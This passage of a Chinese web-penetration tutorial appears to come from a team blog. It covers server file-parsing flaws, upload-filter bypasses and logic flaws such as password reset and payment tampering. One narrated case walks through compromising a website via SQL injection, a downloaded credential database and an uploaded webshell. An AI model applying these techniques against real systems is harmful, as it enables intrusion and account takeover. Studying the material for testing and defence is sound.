data-original=&https://pic2.zhimg.com/v2-8c51ed699e5ea9bf5b71_r.jpg&&&/figure&到这里就提交成功了,那就等管理员上钩就是了。&/p&&p&&figure&&img src=&https://pic3.zhimg.com/v2-ec6ac6c58c9a37dd674f_b.jpg& data-rawwidth=&549& data-rawheight=&281& class=&origin_image zh-lightbox-thumb& width=&549& data-original=&https://pic3.zhimg.com/v2-ec6ac6c58c9a37dd674f_r.jpg&&&/figure&看来这个钓鱼网站的管理员也是个时时关注信息,认真负责的管理啊!不像某些公司的那些运维们,大半年的后台都不进,我记得我一个朋友,前段时间,发了一个说说,大概内容是 mlgbz ,两年前插的一个留言板,我今天竟然收到这个 cookie 了。。。&/p&&h2&解析漏洞:&/h2&&p&利用web中间件自身的漏洞,对畸形脚本格式进行了解析。&/p&&p&这个不多解释,程序自身研发时的问题。 &/p&&p&&b&IIS 6.0&/b&&/p&&p&常见组合:server 2003+IIS6(IE6.0)&/p&&p&1. 正常解析格式包括:asp,asa,cer&/p&&p&2.
1.xxxx.pdf&/p&&p&3. 正常解析 1.asp文件夹下的任意文件:
比如说网站目录中有一个文件夹名为1.asp ,那么这个文件夹下的任意文件,比如1.jpg,1.pdf,1.doc,1.abc
都会解析成asp脚本文件。再比如有一个链接:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&http://www.zhutougg.com/abc.asp/1.pdf
&/code&&/pre&&/div&&p&如果该站的中间件为IIS6.0,那么这个链接就会解析成asp脚本。&/p&&p&备注:在利用上传漏洞的时候,如果不能上传asp格式文件,先尝试上传asa,cer格式,然后再尝试上传1..jpg格式文件,如果可以控制上传后的目录,就上传test.jpg图片大马到1.asp目录下。&/p&&p&&b&IIS 7.5&/b&&/p&&p&常见组合:server 2008+IIS7/IIS7.5&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&1. 如果目标能解析PHP脚本,则可以尝试上传1.jpg,然后访问 http://www.test.com/1.jpg/1.php 或者 http://www.test.com/1.jpg%00.php
APACHE 2.2.*
&/code&&/pre&&/div&&p&常见漏洞版本为2.0.*到2.2.*&/p&&p&&b&apache 文件解析方式:&/b& 文件名由右往左解析。即 1.jpg.pdf  apache 会先识别 pdf格式,然后再识别 jpg 格式,因为 apache 能够识别 pdf 格式,所以这里它不会解析 .jpg 格式。再比如 1.jpg.abc
apache 先识别 .abc 格式,再识别 .jpg 格式,这里 apache 不认识 .abc 格式,所以这里 apache 将其解析成 .jpg 格式 。&/p&&p&利用:上传1.php.abc
1.jpg.abc.php.123.rar(?)&/p&&p&&b&NGINX
0.5.* | 0.6.* | 0.7-0.7.65 | 0.8-0.8.37&/b&&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&如果目标能解析PHP脚本,则可以尝试上传1.jpg,然后访问 http://www.test.com/1.jpg/1.php 或者 http://www.test.com/1.jpg%00.php
&/code&&/pre&&/div&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&备注:在碰到 nginx 中间件时候,先找到网站的图片链接比如 http://blog.zhutougg.com/content/images/-2.png ,然后直接在链接后面加上 %00.php
&/code&&/pre&&/div&&p&&b&其它常见的中间件:&/b&&/p&&p&&b&asp , aspx: &/b&iis5.0 , iis6.0 , iis7.0 , iis7.0 , iis8.0&/p&&p&&b&php:&/b&
apache , nginx , fast-cgi&/p&&p&&b&jsp:&/b&
tomcat , weblogic , jboss , jetty , GlassFish , Resin , IBM Websphere&/p&&p&&b&aspx的兄弟格式:&/b& ashx&/p&&p&&b&jsp:&/b&
jspx&/p&&h2&实例:asp解析漏洞&/h2&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&进入网站之后随手测试下注入点(http://xxx/detail_industry_news.asp?id=6)
&/code&&/pre&&/div&&p&手工测试之后发现存在sql注入 ,然后就扔注入工具里 。&/p&&p&&figure&&img src=&https://pic4.zhimg.com/v2-6d884edccb9d9055dfd21_b.jpg& data-rawwidth=&494& data-rawheight=&387& class=&origin_image zh-lightbox-thumb& width=&494& data-original=&https://pic4.zhimg.com/v2-6d884edccb9d9055dfd21_r.jpg&&&/figure&但是没有注入出来表单,后来又换了多个注入工具进行注入,结果一样,都没有表单数据 。&/p&&p&然后使用目录扫描器进行扫描,发现有一个webdata二级目录,自己猜测会不会是数据库文件了?&/p&&p&然后,继续扫描二级目录发现 webdata/webdata.mdb 这个数据库文件,下载之后发现账号,密码。&/p&&p&&figure&&img src=&https://pic3.zhimg.com/v2-fdb08da60bbc_b.jpg& data-rawwidth=&471& data-rawheight=&99& class=&origin_image zh-lightbox-thumb& width=&471& data-original=&https://pic3.zhimg.com/v2-fdb08da60bbc_r.jpg&&&/figure&既然,账号密码都有了,那就找后台吧 。&/p&&p&目录扫描器,扫后台没找见
那好吧,手工慢慢找 。。。&/p&&p&最后在一个旁站的 robots.txt 文件里,发现一个特点,就是它这个旁站的后台是域名格式的后台,那主站是不是也是这个了?搞!&br&&/p&&p&没想到还真是
xx.xx/xx.xx
这样后台 。。。&/p&&p&那就进后台 。&/p&&p&&figure&&img src=&https://pic3.zhimg.com/v2-fc4ec635f82fd43b3eea_b.jpg& data-rawwidth=&540& data-rawheight=&391& class=&origin_image zh-lightbox-thumb& width=&540& data-original=&https://pic3.zhimg.com/v2-fc4ec635f82fd43b3eea_r.jpg&&&/figure&一股浓浓的南方站的味道,就像吃老干妈的感觉一样,那就先找数据库功能吧 。&/p&&p&额,没有数据库备份这个功能,看来数据库备份拿 shell 这个方法是不行了。。。&/p&&p&不过这个站是 IIS6.0 的,存在解析漏洞,还好日 ,那就找上传点吧 。&/p&&p&&figure&&img src=&https://pic2.zhimg.com/v2-36cfc187fcf5cdda184fffd8_b.jpg& data-rawwidth=&555& data-rawheight=&417& class=&origin_image zh-lightbox-thumb& width=&555& data-original=&https://pic2.zhimg.com/v2-36cfc187fcf5cdda184fffd8_r.jpg&&&/figure&找到一个上传点,先传个正常图片看看,看这个上传点是不是坏的,还有会不会出来路径 。&/p&&p&&figure&&img src=&https://pic2.zhimg.com/v2-de0f9cabf41ded_b.jpg& data-rawwidth=&288& data-rawheight=&156& class=&content_image& width=&288&&&/figure&既然不是坏的,那就上传个 asp DAMA 吧 。&/p&&p&&figure&&img src=&https://pic4.zhimg.com/v2-3e734ce0e9_b.jpg& data-rawwidth=&401& data-rawheight=&197& class=&content_image& width=&401&&&/figure&看来不能直接上传,那好吧,抓包上传吧 。&/p&&p&由于,我们事先知道了上传路径
,所以我们直接利用 IIS 6.0 的解析漏洞,也就是 &br&&/p&&p&(1..xx){xx是上传文件的名字}
在文件夹后面加上 1. 试试可以上传成功并解析吗。&/p&&p&抓包 ,改包 ,来先看看 。&/p&&p&&figure&&img src=&https://pic4.zhimg.com/v2-9cc0b79e49e6ce951ea3_b.jpg& data-rawwidth=&560& data-rawheight=&176& class=&origin_image zh-lightbox-thumb& width=&560& data-original=&https://pic4.zhimg.com/v2-9cc0b79e49e6ce951ea3_r.jpg&&&/figure&来,看看我们能不能连上这个 DAMA 。&/p&&p&&figure&&img src=&https://pic3.zhimg.com/v2-4198fec1ba_b.jpg& data-rawwidth=&1711& data-rawheight=&367& class=&origin_image zh-lightbox-thumb& width=&1711& data-original=&https://pic3.zhimg.com/v2-4198fec1ba_r.jpg&&&/figure&结果很不赖,被解析了,从而,也就拿下这个站了。&/p&&h2&上传漏洞加绕过方法&/h2&&p&&b&客户端检测 :&/b&&/p&&p&程序员一般使用 JavaScript 来拒绝非法文件上传。&/p&&p&&b&绕过方法:&/b&&/p&&p&FireBug插件:将用于检验文件扩展名的onsubmit事件删除。&/p&&p&中间人攻击:使用Burp Suite。首先把木马扩展名改为一张正常图片的扩展名,比如JPG扩展名,在上传时使用Burp Suite拦截上传数据,再将其中的扩展名JPG修改为PHP,就可以绕过客户端验证。(可能还需要相应地修改Content-Length)&/p&&p&任何客户端验证都是不安全的。客户端验证是防止用户输入错误,减少服务器开销,而服务器端验证才可以真正防御攻击者。&/p&&p&&b&服务器端检测&/b&&/p&&p&&b&白名单与黑名单验证&/b&&/p&&p&黑名单过滤方法:定义不允许上传的文件扩展名&/p&&p&黑名单的绕过方法:&/p&&p&1.攻击者可以从黑名单中找到Web开发人员忽略的扩展名,如:cer&/p&&p&2.对文件的后缀名进行大小写转换,比如黑名单中有php,可以将文件的后缀改为pHp,仅限windows平台 &/p&&p&3.在windows系统下,如果文件名以“.”或者空格作为结尾,系统会自动删除“.”与空格,利用此特性也可以绕过黑名单验证。(asp.或asp_)&/p&&p&白名单过滤方法:定义允许上传的文件扩展名&/p&&p&白名单的绕过方法:结合Web容器的解析漏洞&/p&&p&&b&MIME验证&/b&&/p&&p&php 中通过 $_FILE['file']['type'] 来检验&/p&&p&绕过方法:可以在Burp Suite中更改Content-Type的内容为image/jpeg&/p&&p&&b&目录验证&/b& &/p&&p&在文件上传时,程序通常允许用户将文件放到指定的目录中,如果指定的目录存在,就将文件写入目录中,不存在的话则先建立目录,然后写入。&/p&&p&比如:在前端的HTML代码中,有一个隐藏标签&input type=&hidden& name=&Extension& value=&up&/&&/p&&p&在服务器端有如下代码:&/p&&p&if(!is_dir($Extension)){ //如果文件夹不存在,就建立文件夹&br&mkdir($Extension);&br&}&/p&&p&攻击者可以利用工具将表单中value的值由“up”改为“pentest.asp”,并上传一句话图片木马文件。&/p&&p&程序在接收到文件后,对目录判断,如果服务器不存在pentest.asp目录,将会建立此目录,然后再将图片一句话密码文件写入pentest.asp目录,如果Web容器为IIS 6.0,那么网页木马会被解析。&/p&&p&&b&00截断上传&/b&&/p&&p&在ASP程序中最常见,也就是%00将后面的字符都截断了,比如上传文件名为1.asp%00xxser.jpg。&/p&&p&实际操作过程中,利用Burp Suite的Repeater中的HEX选项卡可以进行这样的操作。&/p&&p&截断上传漏洞不仅出现在ASP程序上,在&a href=&https://link.zhihu.com/?target=http%3A//lib.csdn.net/base/php& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&PHP&/a&、JSP程序中也存在这样的问题。&/p&&p&0x00不是针对所有基于白名单的后缀名检查都能绕过,代码的实现过程中必须存在截断上传漏洞。&/p&&h2&逻辑漏洞分类&br&&/h2&&p&&b&欺骗密码找回功能(任意密码重置等)&/b&&/p&&p&程序根据一个验证码来确定是用户本人,攻击者可以通过抓包改包,暴力破解,等方法来进行绕过。(漏洞产生的原因:前端验证,数据包中含CODE等)&/p&&p&思路:fuzz模糊测试来进行漏洞挖掘&/p&&p&实例:某学院存在任意密码重置漏洞&/p&&p&第一步(先找回密码)& 查看源代码&/p&&figure&&img src=&https://pic2.zhimg.com/v2-c991a53ec477ea93e0f993_b.jpg& data-rawwidth=&554& data-rawheight=&256& class=&origin_image zh-lightbox-thumb& width=&554& data-original=&https://pic2.zhimg.com/v2-c991a53ec477ea93e0f993_r.jpg&&&/figure&&figure&&img src=&https://pic2.zhimg.com/v2-502a420ed44b5dc9ea76d2eb73dadd65_b.jpg& data-rawwidth=&854& data-rawheight=&68& class=&origin_image zh-lightbox-thumb& width=&854& data-original=&https://pic2.zhimg.com/v2-502a420ed44b5dc9ea76d2eb73dadd65_r.jpg&&&/figure&&p&跟一下 nextDo2&/p&&p&&figure&&img src=&https://pic3.zhimg.com/v2-fcdfa738ceb_b.jpg& data-rawwidth=&772& data-rawheight=&461& class=&origin_image zh-lightbox-thumb& width=&772& data-original=&https://pic3.zhimg.com/v2-fcdfa738ceb_r.jpg&&&/figure&&/p&&p&关键在跳转第二步&/p&&p&如果data.status 等于0 那么跳转第二步,如果不等于0 那么就提示验证码不正确!&/p&&p&只要 status 等于0 它就跳转第二步,那么通过burp去修改它的 Response &/p&&figure&&img src=&https://pic2.zhimg.com/v2-fee8e8ae5c_b.jpg& data-rawwidth=&495& data-rawheight=&455& class=&origin_image zh-lightbox-thumb& width=&495& data-original=&https://pic2.zhimg.com/v2-fee8e8ae5c_r.jpg&&&/figure&&figure&&img src=&https://pic4.zhimg.com/v2-136d70d0f974debd0e6a7b_b.jpg& data-rawwidth=&711& data-rawheight=&264& class=&origin_image zh-lightbox-thumb& width=&711& data-original=&https://pic4.zhimg.com/v2-136d70d0f974debd0e6a7b_r.jpg&&&/figure&&figure&&img src=&https://pic3.zhimg.com/v2-467ffdbc5f7_b.jpg& data-rawwidth=&803& data-rawheight=&328& class=&origin_image zh-lightbox-thumb& width=&803& data-original=&https://pic3.zhimg.com/v2-467ffdbc5f7_r.jpg&&&/figure&&br&&p&放包之后就会发现直接绕过验证改密,这样就形成了任意密码重置漏洞。&/p&&p&预防思路:response数据内不包含验证码,验证方式主要采取后端验证。&/p&&p&&b&任意金额修改 &/b&&/p&&p&可以通过篡改数据报,使得购买的商品价格为负数等(金额数据通过明文传输,没有后端验证等一系列都可以产生任意金额修改漏洞)&/p&&p&实例:&/p&&p&注册下单,支付,选择拉卡拉支付&/p&&figure&&img src=&https://pic1.zhimg.com/v2-28bd4fa1cf55621eaf05376_b.jpg& data-rawwidth=&559& data-rawheight=&433& class=&origin_image zh-lightbox-thumb& width=&559& data-original=&https://pic1.zhimg.com/v2-28bd4fa1cf55621eaf05376_r.jpg&&&/figure&&p&截断 http 请求,更改post金额数据 。&/p&&p&&figure&&img src=&https://pic2.zhimg.com/v2-f18ef27ad37bcaad125cebf_b.jpg& data-rawwidth=&932& data-rawheight=&549& class=&origin_image zh-lightbox-thumb& width=&932& data-original=&https://pic2.zhimg.com/v2-f18ef27ad37bcaad125cebf_r.jpg&&&/figure&到达支付页面发现 ,&br&&/p&&p&发现金额被修改,也未提示该修改无效 。&br&&/p&&p&预防方法:后端验证,数据包加密后进行传输 。&/p&&p&&b&越权漏洞&/b&&/p&&p&主要是因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定(仅限于存在漏洞功能对应的数据)&/p&&p&思路:&/p&&p&可能出现越权漏洞的地方(对数据库进行操作的都可以)。&/p&&p&&figure&&img src=&https://pic2.zhimg.com/v2-5f1e73ad4ba957ffc6aec4_b.jpg& data-rawwidth=&707& data-rawheight=&780& class=&origin_image zh-lightbox-thumb& width=&707& data-original=&https://pic2.zhimg.com/v2-5f1e73ad4ba957ffc6aec4_r.jpg&&&/figure&查看代码 当id=数组里面的数为则显示账号密码,否则输出信息出错。&/p&&figure&&img src=&https://pic1.zhimg.com/v2-21f6e38b7f69dc4f5faeff95_b.jpg& data-rawwidth=&587& data-rawheight=&215& class=&origin_image zh-lightbox-thumb& width=&587& data-original=&https://pic1.zhimg.com/v2-21f6e38b7f69dc4f5faeff95_r.jpg&&&/figure&&p&当知道管理员的id的时候可以任意更改url查询到账号密码。&/p&&p&当然越权漏洞存在很多种cookie绕过等等。&/p&&p&&b&好了,完结! &/b&&/p&&p&文章大小 1M 多的文章,被我贴的好辛苦啊,而且页面还一卡一卡的,最后再安抚一波 ,&/p&&p&226safe Team 团队官方群:2399210 。

我要回帖

更多关于 网络安全是干什么的 的文章

 

随机推荐